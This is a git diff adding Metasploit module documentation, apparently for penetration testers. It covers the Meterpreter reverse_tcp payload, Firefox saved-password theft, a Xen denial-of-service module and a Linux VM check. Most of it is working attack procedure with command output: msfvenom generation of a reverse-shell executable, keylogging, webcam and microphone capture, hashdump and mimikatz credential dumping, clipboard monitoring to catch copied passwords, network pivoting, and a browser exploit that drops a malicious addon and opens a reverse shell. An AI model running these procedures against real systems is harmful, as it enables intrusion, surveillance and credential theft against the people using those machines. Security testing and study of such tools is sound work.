+ +Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do: + +``` +>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") +=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} +``` + +To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation). + + +## Routing through the portfwd command + +The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a +commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to +it, we can portfwd via an active session: + +``` +meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185 +[*] Local TCP relay created: :445 <-> 172.16.23.185:445 +``` + +And then talk to the remote SMB service like it's local: + +``` +msf auxiliary(smb_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(smb_version) > run + +[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP) +``` + +## Routing through msfconsole + +The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also +allows you to connect to hosts on a different network through the compromised machine. + +To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point: + +``` +meterpreter > ipconfig +``` + +Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, +and establish that route: + +``` +msf > route add 192.168.1.0 255.255.255.0 1 +``` + +At that point, you should have a working pivot. You can use other Metasploit modules to explore +or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow +other third-party tools to do the same. + + +## Meterpreter Stageless Mode + +A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a +normal one would actually cost too much time and bandwidth in a penetration test. To learn more +about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) +to read more. + +To use the stageless payload, use ```windows/meterpreter_reverse_https``` instead. + +## Meterpreter Sleep Control + +The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to +avoid suspicious active communication. It also provides better efficiency. + +It is very simple to use. At the Meterpreter prompt, simply do: + +``` +meterpreter > sleep 20 +``` + +And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler +remains active (such as running as a background job). + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control). + +## Meterpreter Timeout Control + +The timeout control basically defines the life span of Meterpreter. To configure it, use the +```set_timeouts``` command: + +``` +meterpreter > set_timeouts +Usage: set_timeouts [options] + +Set the current timeout options. +Any or all of these can be set at once. + +OPTIONS: + + -c Comms timeout (seconds) + -h Help menu + -t Retry total time (seconds) + -w Retry wait time (seconds) + -x Expiration timout (seconds) +``` + +To see the current timeout configuration, you can use the ```get_timeouts``` command: + +``` +meterpreter > get_timeouts +Session Expiry : @ 2016-03-11 21:15:58 +Comm Timeout : 300 seconds +Retry Total Time: 3600 seconds +Retry Wait Time : 10 seconds +``` + +To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). + +## Meterpreter Transport Control + +Transport Control allows you manage transports on the fly while the payload session is still +running. Meterpreter can automatically cycle through the transports when communication fails, +or you can do it manually. + +To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control). + diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..eb66ad51de --- /dev/null +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -0,0 +1,716 @@ +windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has +to offer, and there are so many things you can do with it. + +It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, +control the webcam and microphone, etc. It has the best support for post modules, and you can +load extensions, such as mimikatz and python interpreter, etc. + +windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets. + +## Vulnerable Application + +This Meterpreter payload is suitable for the following environments: + +* Windows x64 +* Windows x86 + +## Verification Steps + +windows/meterpreter/reverse_tcp is typically used in two different ways. + +First, it is typically used as a payload for an exploit. Here's how to do that: + +1. In msfconsole, select an exploit module +2. Configure the options for that exploit. +3. Do: ```set payload windows/meterpreter/reverse_tcp``` +4. Set the ```LHOST``` option, which is the IP that the payload should connect to. +5. Do: ```exploit```. If the exploit is successful, it should execute that payload. + +Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally, +you would want to do it with msfvenom. If you are old school, you have probably also heard of +msfpayload and msfencode. msfvenom is a replacement of those. + +The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp +as an executable: + +``` +./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe +``` + +## Important Basic Commands + +**pwd command** + +The ```pwd``` command allows you to see the current directory you're in on the remote target. +Example: + +``` +meterpreter > pwd +C:\Users\user\Desktop +``` + +**cd command** + +The ```cd``` command allows you to change directories. Example: + +``` +meterpreter > cd C:\\ +meterpreter > pwd +C:\ +``` + +**cat command** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat C:\\file.txt +Hello world! +``` + +**upload command** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt +[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to upload recursively. + +**download command** + +The ```download``` command allows you download a file from the remote target to your machine. +For example: + +``` +meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/ +[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt +[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to download recursively. + +**search command** + +The ```search``` command allows you to find files on the remote file system. For example, this +demonstrates how to find all text files in the current directory: + +``` +meterpreter > search -d . -f *.txt +Found 1 result... + .\something.txt (5 bytes) +``` + +Note that without the ```-d``` option, the command will attempt to search in all drives. + +The ```-r``` option for the commands allows you to search recursively. + +**ifconfig command** + +The ```ifconfig``` command displays the network interfaces on the remote machine: + +``` +meterpreter > ifconfig + +Interface 1 +============ +Name : Software Loopback Interface 1 +Hardware MAC : 00:00:00:00:00:00 +MTU : 4294967295 +IPv4 Address : 127.0.0.1 +IPv4 Netmask : 255.0.0.0 +IPv6 Address : ::1 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +... +``` + +The command ```ipconfig``` is an alias for ```ifconfig```. + +**getuid command** + +The ```getuid``` command shows you the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: WIN-6NH0Q8CJQVM\user +``` + +**execute command** + +The ```execute``` command allows you to execute a command or file on the remote machine. + +The following example will spawn a calculator: + +``` +meterpreter > execute -f calc.exe +Process 2076 created. +``` + +To pass an argument, use the ```-a``` flag: + +``` +meterpreter > execute -f iexplore.exe -a http://metasploit.com +Process 2016 created. +``` + +There are some options you can see to add more stealth. For example, you can use the ```-H``` flag +to create the process hidden from view. You can also use the ```-m``` flag to execute from memory. + +**ps command** + +The ```ps``` command lists the running processes on the remote machine. + +**shell command** + +The ```shell``` command allows you to interact with the remote machine's command prompt. Example: + +``` +meterpreter > shell +Process 3576 created. +Channel 6 created. +Microsoft Windows [Version 6.1.7601] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\Users\user\Desktop> +``` + +To switch back to Meterpreter, do [CTRL]+[Z] to background the channel. + +**sysinfo command** + +The ```sysinfo``` command shows you basic information about the remote machine. Example: + +``` +meterpreter > sysinfo +Computer : WIN-6NH0Q8CJQVM +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +**keyscan_start** + +The ```keyscan_start``` command starts the keylogging feature on the remote machine. + +**keyscan_dump** + +The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command +before using this. Example: + +``` +meterpreter > keyscan_start +Starting the keystroke sniffer... +meterpreter > keyscan_dump +Dumping captured keystrokes... +Hello World!! +``` + +If you wish to stop sniffing, use the ```keyscan_stop``` command. + +**keyscan_stop** + +The ```keyscan_stop``` command stops the keylogger. + +**screenshot** + +The ```screenshot``` command takes a screenshot of the target machine. + +**webcam_list** + +The ```webcam_list``` commands shows you a list of webcams that you can control. You'll +probably want to use this first before using any other webcam commands. + +**webcam_snap** + +The ```webcam_snap``` commands uses the selected webcam to take a picture. + +**webcam_stream** + +The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create +the streaming effect. There is no sound. + +**record_mic** + +The ```record_mic``` command captures audio on the remote machine. + +**getsystem** + +The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of +these techniques: + +* Named pipe impersonation (in memory) +* Named pipe impersonation (dropper) +* Token duplication (in memory) + +Example: + +``` +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +``` + +**hashdump** + +The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges. +For sxample: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4::: +root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d::: +SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2::: +``` + + +## Scenarios + +**Setting up for Testing** + +For testing purposes, if you don't want to manually generate a payload and start a multi handler +repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it: + +First, run the resource script: + +``` +$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc +[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives. +[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes) +lhost => 192.168.1.199 +lport => 4444 +[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe... +[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444 +[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe +payload => windows/meterpreter/reverse_tcp +lhost => 192.168.1.199 +lport => 4444 +exitonsession => false +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +msf exploit(handler) > +``` + +Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. +Upload that payload to your test box and execute it. You should receive a connection. + +**Using a Post Module** + +One of the best things about Meterpreter is you have access to a variety of post exploitation +modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to +collect data from the remote machine automatically. For example, you can steal passwords +from popular applications and enumerate or modify system settings. + +To use a post module from the Meterpreter prompt, simply use the ```run``` command: + +``` +meterpreter > run post/windows/gather/checkvm + +[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine ..... +[*] This is a VMware Virtual Machine +meterpreter > +``` + +It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load +the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the +documentation. + + +**Using the Mimikatz Extension** + +[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM. + +To begin, load the extension: + +``` +meterpreter > load mimikatz +Loading extension mimikatz...success. +meterpreter > +``` + +This will create more commands for the Meterpreter prompt. Most of them are meant to be used to +retrieve user names, hashes, passwords and other information: + +``` +Mimikatz Commands +================= + + Command Description + ------- ----------- + kerberos Attempt to retrieve kerberos creds + livessp Attempt to retrieve livessp creds + mimikatz_command Run a custom command + msv Attempt to retrieve msv creds (hashes) + ssp Attempt to retrieve ssp creds + tspkg Attempt to retrieve tspkg creds + wdigest Attempt to retrieve wdigest creds +``` + +An example of using the ```msv``` command: + +``` +meterpreter > msv +[+] Running as SYSTEM +[*] Retrieving msv credentials +msv credentials +=============== + +AuthID Package Domain User Password +------ ------- ------ ---- -------- +0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) +0;45518 NTLM n.s. (Credentials KO) +0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +``` + + +**Using the extapi Extension** + +The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For +example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc. + +To begin, at the Meterpreter prompt, do: + +``` +meterpreter > load extapi +Loading extension extapi...success. +meterpreter > +``` + +One great feature of the extension is clipboard management. The Windows clipboard is interesting +because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected. + +For example, a password manager is a popular tool to store encryped passwords. It allows the user +to create complex passwords without the need to memorize any of them. All the user needs to do is +open the password manager, retrieve the password for a particular account by copying it, and then +paste it on a login page. + +There is a security problem to the above process. When the user copies the password, it is stored +in the operating system's clipboard. As an attacker, you can take advantage of this by starting the +clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies. + +To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data +commnad: + +``` +meterpreter > clipboard_get_data +Text captured at 2016-03-05 19:13:39.0170 +========================================= +hello, world!! +========================================= + +meterpreter > +``` + +The limitation of this command is that since you're only grabbing whatever is in the clipboard at +the time, there is only one item to collect. However, when you start a monitor, you can collect +whatever goes in there. To start, issue the following command: + +``` +meterpreter > clipboard_monitor_start +[+] Clipboard monitor started +meterpreter > +``` + +While it is monitoring, you can ask Meterpreter to dump whatever's been captured. + +``` +meterpreter > clipboard_monitor_dump +Text captured at 2016-03-05 19:18:18.0466 +========================================= +this is fun. +========================================= + +Files captured at 2016-03-05 19:20:07.0525 +========================================== +Remote Path : C:\Users\user\Desktop\cat_pic.png +File size : 37627 bytes +downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png +download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png + +========================================== + +[+] Clipboard monitor dumped +meterpreter > +``` + +The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit. + +Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's +inputs. + + +**Using the Python Extension** + +The Python extension allows you to use the remote machine's Python interpreter. + +To load the extension, at the Meterpreter prompt, do: + +``` +meterpreter > use python +Loading extension python...success. +``` + +The most basic example of using the interpreter is the ```python_execute``` command: + +``` +meterpreter > python_execute "x = 'hello world'; print x" +[+] Content written to stdout: +hello world + +meterpreter > +``` + +Another way to execute Python code is from a local file by using the ```python_import``` command. + +To do this, first prepare for a Python script. This example should create a message.txt on the +remote machine's desktop: + + +```python +import os + +user_profile = os.environ['USERPROFILE'] + +f = open(user_profile + '\\Desktop\\message.txt', 'w+') +f.write('hello world!') +f.close() +``` + +And to run that with the command: + +``` +meterpreter > python_import -f /tmp/test.py +[*] Importing /tmp/test.py ... +[+] Command executed without returning a result +meterpreter > +``` + +To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension). + +**Network Pivoting** + +There are three mains ways that you can use for moving around inside a network: + + - The route command in the msf prompt + - The route command in the the Meterpreter prompt + - The portfwd command + +***Routing through msfconsole*** + +The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig: + +``` +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600 + +meterpreter > ipconfig +... +Interface 10 +============ +Name : Intel(R) PRO/1000 MT Network Connection +Hardware MAC : 00:0c:29:86:4b:0d +MTU : 1472 +IPv4 Address : 192.168.1.201 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660::20 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: +IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : fe80::44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: + +... + +Interface 26 +============ +Name : VPN +Hardware MAC : 00:00:00:00:00:00 +MTU : 1400 +IPv4 Address : 192.100.0.100 +IPv4 Netmask : 255.255.255.255 + +... +``` + +The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. + +At the msf prompt, do: + +``` +msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1 +[*] Route added +``` + +The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines. + +So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network: + +``` +msf auxiliary(smb_version) > run + +[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_version) > +``` + +Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB. + +***Routing through Meterpreter*** + +The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole. + +***Routing through the portfwd command*** + +The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do: + +``` +meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host] +``` + +And that should allow you to connect to remote desktop this way on the attacker's box: + +``` +rdesktop 127.0.0.1 +``` + +**Meterpreter Paranoid Mode** + +The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode". + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode). + +**Meterpreter Reliable Network Communication** + +Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first. + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication). + +**Meterpreter Sleep Control** + +The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency. + +It is very simple to use. At the Meterpreter prompt, simply do: + +``` +meterpreter > sleep 20 +``` + +And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload +handler remains active (such as being a background job). + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control). + +**Meterpreter Stageless Mode** + +A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. + +To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead. + +**Meterpreter Timeout Control** + +The timeout control basically defines the life span of Meterpreter. To configure it, use the +```set_timeouts``` command: + +``` +meterpreter > set_timeouts +Usage: set_timeouts [options] + +Set the current timeout options. +Any or all of these can be set at once. + +OPTIONS: + + -c Comms timeout (seconds) + -h Help menu + -t Retry total time (seconds) + -w Retry wait time (seconds) + -x Expiration timout (seconds) +``` + +To see the current timeout configuration, you can use the ```get_timeouts``` command: + +``` +meterpreter > get_timeouts +Session Expiry : @ 2016-03-11 21:15:58 +Comm Timeout : 300 seconds +Retry Total Time: 3600 seconds +Retry Wait Time : 10 seconds +``` + +To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). + +**Meterpreter Transport Control** + +Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually. + +To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control). + + +## Using the Post Exploitation API in IRB + +To enter IRB, do the following at the Meterpreter prompt: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as: + +```ruby +>> client.sys.config.getuid +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it: + +``` +>> client.inspect +``` + +You can use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second element is the line number of the method. + +**Using Railgun** + +Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do: + +``` +>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") +=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} +``` + +To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation). + diff --git a/documentation/modules/post/firefox/gather/passwords.md b/documentation/modules/post/firefox/gather/passwords.md new file mode 100644 index 0000000000..fd760753cc --- /dev/null +++ b/documentation/modules/post/firefox/gather/passwords.md @@ -0,0 +1,68 @@ +## Vulnerable Application + + This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell. + +## Verification Steps + + 1. Start `msfconsole` + 2. Get privileged javascript session + 3. Do: `use post/firefox/gather/passwords` + 4. Do: `set SESSION ` + 5. Do: `run` + 6. You should be able to see all saved Firefox passwords in the loot file in JSON format + +## Options + + - **SESSION** - The session to run the module on. + + - **TIMEOUT** - Maximum time (seconds) to wait for a response. The default value is 90. + +## Scenarios + + **Obtain a privileged javascript shell and gather saved Firefox passwords** + + To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like `exploit/multi/browser/firefox_proto_crmfrequest`, `exploit/multi/browser/firefox_proxy_prototype` or others. + In the example case of the `firefox_proto_crmfrequest` exploit use `set TARGET 0` to use a javascript shell. + + ``` + msf > use exploit/multi/browser/firefox_proto_crmfrequest + msf exploit(firefox_proto_crmfrequest) > set TARGET 0 + TARGET => 0 + msf exploit(firefox_proto_crmfrequest) > run + [*] Exploit running as background job. + msf exploit(firefox_proto_crmfrequest) > + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr + [*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr + [*] Server started. + [*] Gathering target information for 192.168.2.117 + [*] Sending HTML response to 192.168.2.117 + [*] Sending HTML + [*] Sending the malicious addon + [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200 + + msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords + msf post(passwords) > set SESSION 1 + SESSION => 1 + msf post(passwords) > run + + [*] Running the privileged javascript... + [+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt + [*] Post module execution completed + ``` + + The loot file then contains all passwords in json format, like so: + + ``` + [ + { + "password":"1234", + "passwordField":"pwd", + "username":"admin", + "usernameField":"log", + "httpRealm":"", + "formSubmitURL":"https://example.com", + "hostname":"https://example.com" + } + ] + ``` \ No newline at end of file diff --git a/documentation/modules/post/linux/dos/xen_420_dos.md b/documentation/modules/post/linux/dos/xen_420_dos.md new file mode 100644 index 0000000000..c18c8cd033 --- /dev/null +++ b/documentation/modules/post/linux/dos/xen_420_dos.md @@ -0,0 +1,82 @@ +This is a post exploitation module that exploits a memory corruption bug in Xen +4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From +the original advisory: + +> Downgrading the grant table version of a guest involves freeing its +status pages. This freeing was incomplete - the page(s) are freed back +to the allocator, but not removed from the domain's tracking +list. This would cause list corruption, eventually leading to a +hypervisor crash. + +## Mechanism + +This module aims to be portable by building the exploit module on the target +machine directly, building a malicious Linux Kernel Module (LKM) and inserting it +into the kernel of the paravirtualized host. It is necessary to build the +kernel module on the fly, since kernel ABIs are notoriously unstable and +unlikely to work between multiple kernel versions. + +This module is tested on Debian and Ubuntu hosts running various versions of +Xen. Because the LKM is built at exploit-time, it requires that build tools and +kernel headers for the currently-running kernel to exist on the target machine. + +## Example output + +Failure (bad Xen version): + +``` +msf > use exploit/multi/handler +msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf exploit(handler) > set lhost 192.168.1.1 +lhost => 192.168.1.1 +msf exploit(handler) > run + +[*] Started reverse TCP handler on 192.168.1.1:4444 +[*] Starting the payload handler... +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +[*] Sending stage (1495599 bytes) to 192.168.1.1 +[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500 + +meterpreter > +meterpreter > background +[*] Backgrounding session 1... +msf exploit(handler) > use post/linux/dos/xen_420_dos +msf post(xen_420_dos) > set session -1 +session => -1 +msf post(xen_420_dos) > run + +[*] Detecting requirements... +[+] Detected root privilege +[+] Detected build-essential +[+] Detected Xen +[+] Detected running Xen +[*] Xen Version: 4.6.0 +[-] Sorry, wrong Xen Version +[*] Post module execution completed +``` + +Success: + +``` +msf post(xen_420_dos) > run + +[*] Detecting requirements... +[+] Detected root privilege +[+] Detected build-essential +[+] Detected Xen +[+] Detected running Xen +[*] Xen Version: 4.2.0 +[-] Detected correct Xen version +[*] DoS was successful! +[*] Post module execution completed +[*] 192.168.1.2 - Command shell session 1 closed. Reason: Died from EOFError +``` + +## Future Work + +A kernel module compilation mixin that works like the Dynamic Kernel Module +Support (DKMS) framework, would be useful in order to allow other kernel-level +exploits to be built as-needed. Supporting this using the Metasploit Post +Exploitation API and supporting more Linux distributions would make similar +exploits easier to build. diff --git a/documentation/modules/post/linux/gather/checkvm.md b/documentation/modules/post/linux/gather/checkvm.md new file mode 100644 index 0000000000..72080a5d67 --- /dev/null +++ b/documentation/modules/post/linux/gather/checkvm.md @@ -0,0 +1,130 @@ +## Locations Checked + +There are many locations that are checked for having evidence of being a virtual machine. The follow is a list of them: + +1. (with root access) `/usr/sbin/dmidecode` +2. `/sbin/lsmod` +3. `/proc/scsi/scsi` +4. `cat /proc/ide/hd*/model` +5. `lspci` +6. `ls -1 /sys/bus` +7. `lscpu` +8. `dmesg` + +## Verification Steps + + 1. Start msfconsole + 2. Get a session via exploit of your choice + 3. Do: `use post/linux/gather/checkvm` + 4. Do: `set session ` + 5. Do: `run` + 6. You should get feedback if a virtual machine environment was detected + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions -l` + +## Scenarios + + Typical run against Kali with only one user (root), using ssh_login for initial shell + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set username root +username => root +msf auxiliary(ssh_login) > set password "test" +password => example_password +msf auxiliary(ssh_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22). +[!] No active DB -- Credential data will not be saved! +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:14:36 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use post/linux/gather/checkvm +msf post(checkvm) > set session 1 +session => 1 +msf post(checkvm) > run + +[*] Gathering System info .... +[+] This appears to be a 'Xen' virtual machine +[*] Post module execution completed + ``` +A non-virtual machine will have the following output +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set username root +username => root +msf auxiliary(ssh_login) > set password "test" +password => example_password +msf auxiliary(ssh_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22). +[!] No active DB -- Credential data will not be saved! +[*] Scanned 1 of 1 hosts (100% complete) 